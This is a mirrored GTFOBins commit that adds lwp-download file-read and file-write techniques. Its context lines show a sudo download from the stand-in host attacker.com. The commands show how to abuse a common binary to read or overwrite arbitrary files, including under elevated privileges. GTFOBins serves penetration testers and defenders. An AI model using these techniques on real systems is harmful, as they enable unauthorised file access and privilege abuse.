mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
Add lwp-download file-read/write
This commit is contained in:
parent
1ceca200b6
commit
4469fdc662
@ -16,4 +16,17 @@ functions:
|
|||||||
URL=http://attacker.com/file_to_get
|
URL=http://attacker.com/file_to_get
|
||||||
LFILE=file_to_save
|
LFILE=file_to_save
|
||||||
sudo lwp-download $URL $LFILE
|
sudo lwp-download $URL $LFILE
|
||||||
|
file-read:
|
||||||
|
- description: The file path must be absolute.
|
||||||
|
code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
TF=$(mktemp)
|
||||||
|
lwp-download "file://$LFILE" $TF
|
||||||
|
cat $TF
|
||||||
|
file-write:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_write
|
||||||
|
TF=$(mktemp)
|
||||||
|
echo DATA >$TF
|
||||||
|
lwp-download file://$TF $LFILE
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user